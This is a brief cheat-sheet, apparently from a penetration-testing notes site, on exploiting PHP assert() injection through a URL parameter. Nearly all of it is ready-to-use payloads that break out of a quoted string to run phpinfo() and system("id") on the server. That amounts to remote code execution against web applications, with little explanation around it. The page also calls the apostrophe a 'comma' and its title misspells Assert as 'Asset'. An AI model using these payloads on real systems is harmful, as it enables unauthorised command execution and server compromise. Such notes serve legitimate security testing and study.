Asset () in PHP

Sometimes, you will see an Assert() error when you inject ' (Comma) or something else. This is some payloads that you could try.

# In PHP, you could try to get any error by inserting a ' comma'
https://<URL>/?name=hacker'  
# Try the payload
https://<URL>/?name=hacker'.phpinfo().'
https://<URL>/?name=hacker'.system("id").'

Last updated